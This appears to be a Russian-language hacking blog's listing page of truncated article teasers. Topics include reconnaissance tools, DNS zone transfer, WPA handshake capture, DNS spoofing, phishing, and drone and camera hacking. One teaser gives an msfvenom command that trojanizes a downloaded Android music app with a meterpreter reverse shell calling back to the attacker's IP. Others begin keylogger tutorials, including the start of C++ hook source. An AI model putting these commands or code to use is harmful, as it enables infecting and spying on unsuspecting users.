#Обучение WhatWeb идентифицирует веб-сайты.  Его цель — ответить на вопрос: «Что это за сайт?».  WhatWeb распознает веб-технологии, включая системы управления контентом (CMS), платформы для ведения блогов, пакеты статистики / аналитики, библиотеки JavaScript, веб-серверы и встроенные устройства.  WhatWeb имеет более 1700 плагинов, каждый из которых распознает что-то сове.  WhatWeb также определяет номера версий, адреса электронной почты, идентификаторы учетных записей, модули веб-инфраструктуры, ошибки SQL…

#Обучение Передача зоны DNS Следующим шагом мы постараемся узнать всю зону DNS данного домена. Успешность этой операции основана на неправильном конфигурировании DNS-серверов системными администраторами (если внешнюю зону забыли отделить от внутренней). В таком случае мы можем просто запросить у серверов передачу и получим целиком зону — то есть узнаем все доменные имена. Сделать это можно двумя утилитами: host и dnsrecon. Для host потребуется уже известный (из предыдущего этапа) NS-сервер. Вводим команду $…

#Обучение Для начала нам необходимо будет скачать какой нибудь APK файл не более 5 мб, для этого идём на 4PDA ищем там что нибудь подходящее и качаем, я использую софт для загрузки музыки из вк. Теперь открываем терминал и прописываем: msfvenom -x '/директория где находится файл который мы будем заражать/DownloadMusic-1.5.apk' -p android/meterpreter/reverse_tcp LHOST=(ip вашего компа) LPORT=8080 -e x86/shikata_ga_nai -i 10 -o название итога.apk -x - использовать такой то файл -p - прилепить пейлоад -o - назвать…

#Полезное В наше время ни одно устройство с сетевым подключением не защищено от потенциального взлома. Даже фотоаппарат. На хакерской конференции DEF CON 2019 Эяль Иткин из Check Point Software Technologies показал первый в мире действующий эксплоит для протокола PTP (Picture Transfer Protocol). Многие современные DSLR поддерживают передачу файлов по WiFi. В данном случае описана зловредная точка доступа WiFi, к которой автоматически подключаются окружающие камеры. Экплоит работает и при физическом подключении…

#Обучение Одним из первых шагов при атаке на веб-приложение является перечисление скрытых каталогов и файлов.  Это может часто предоставить ценную информацию, которая облегчает выполнение точечной атаки, оставляя меньше места для ошибок и потерянного времени.  Для этого есть много инструментов, но не все они созданы одинаково.  Gobuster, сканер каталогов, написанный на Go, определенно стоит изучить.  Традиционные справочные сканеры брутфорса, такие как DirBuster и DIRB, работают просто отлично, но часто могут…

#Обучение  Для создания кейлоггера нам потребуется: Операционная система: Windows или MacOs (также можно использовать любой Linux, но я лично не пробовал) Установленный на целевой машине Python, а также специальные библиотеки. Все ссылки на бесплатное ПО будут перечислены ниже. Данный материал носит информационный характер. Изложенная в статье информация предоставлена исключительно в ознакомительных целях. Ни редакция сайта www.spy-soft.net, ни автор публикации не несут никакой ответственности за любой вред…

#Обучение Dual stack GRE gretap Несколько туннелей GRE к одному хосту L2TPv3 L2TPv3 поверх UDP VXLAN VXLAN в режиме точка — точка Многоадресный VXLAN QinQ Заключение Классические туннели, такие как GRE и IPIP, знакомы каждому админу. Однако Linux не ограничивается ими. Малоизвестные опции классических туннелей и более новые протоколы могут существенно упростить решение задач. В этой статье мы рассмотрим несколько не самых распространенных протоколов и научимся управлять ими с помощью iproute2, стандартного…

#Обучение Сейчас мы будем писать кейлоггер на Visual C++. В данном примере будут использоваться апшные функции, так что, можно переписать на Delphi, если кому-то захочется, то можно и на Асме:). Клавиатурный шпион у нас будет состоять из дополнительной dll и самой программы исполнительного файла(exe). И так, вот исходники дополнительной dll ks.dll: #include "stdafx.h" #include "ks.h" HANDLE hmod; HHOOK khook; HFILE LogFile; char LogFileName[256] = «ks.txt»;//название лог-файла char FullLogFile[256] = «»;…

#Полезное По мере того как пользователи становятся все более осведомленными относительно сетевых угроз, создатели вредоносов придумывают все более изощренные техники кражи персональной информации. Отравление кэша DNS (или DNS-спуфинг) – один из наиболее хитрых методов перенаправить потенциальную жертву на вредоносный сайт.  Рассмотрим подробнее схему реализации и методы защиты от подобного рода атак.   URL и IP-адрес  Когда вы хотите посетить сайт, то обычно вводите URL в адресной строке браузера. Например…

#Обучение  Airbash является POSIX — совместимым, полностью автоматизированным сценарием захвата рукопожатия WPA PSK, направленным на тестирование на проникновение.Он совместим с Bash и Android Shell (протестирован на Kali Linux и Cyanogenmod 10.2) и использует aircrack-ng для сканирования клиентов, которые в настоящее время подключены к точкам доступа (AP). Эти клиенты затем деаутентифицируются для того, чтобы захватить рукопожатие при попытке повторного подключения к AP. Проверка захваченного рукопожатия осуществляется…

#Полезное Последнее время спам и фишинг все чаще используются для введения пользователя в заблуждение. С помощью этих методов злоумышленники часто распространяют программы-вымогатели и крадут учетные данные жертв. Для защиты от подобных атак как с технической, так и психологической стороны, необходимо понимать, как работают мошенники, а для этого детально разберем в статье «вредоносные» письма и сайты. Введение Очень часто на корпоративные и личные почтовые ящики приходят фишинговые письма. Название атаки одно…

#Обучение  PE-Explorer FlexHex Radare2 PE-bear Hiew 010 Editor XVI32 Заключение Главная и сложнейшая задача хакера во время взлома программы — найти защитный механизм и обойти его. Для его нахождения я обычно использую отладчик WinDbg, а для «исправления» приложения — редактор Hiew. Но есть ли альтернативы для последнего? Задавшись этим вопросом, я изучил разные утилиты и хочу поделиться с тобой находками. Так как мы, в основном, исследуем исполняемые файлы и динамические библиотеки для Windows, я брал только…

#Полезное Одновременно с развитием интернета вещей эволюционируют и методы взлома умных девайсов. Уже сейчас существует целый зоопарк троянов для IoT, но одними только роутерами, телеприставками и IP-видеокамерами ассортимент интеллектуальных устройств отнюдь не исчерпывается. Особый интерес с точки зрения информационной безопасности представляют дроны — научиться управлять чужим летательным аппаратом мечтают многие. Имеются ли способы «угона» коптеров? Сейчас разберемся! К истории вопроса На борьбу c беспилотниками…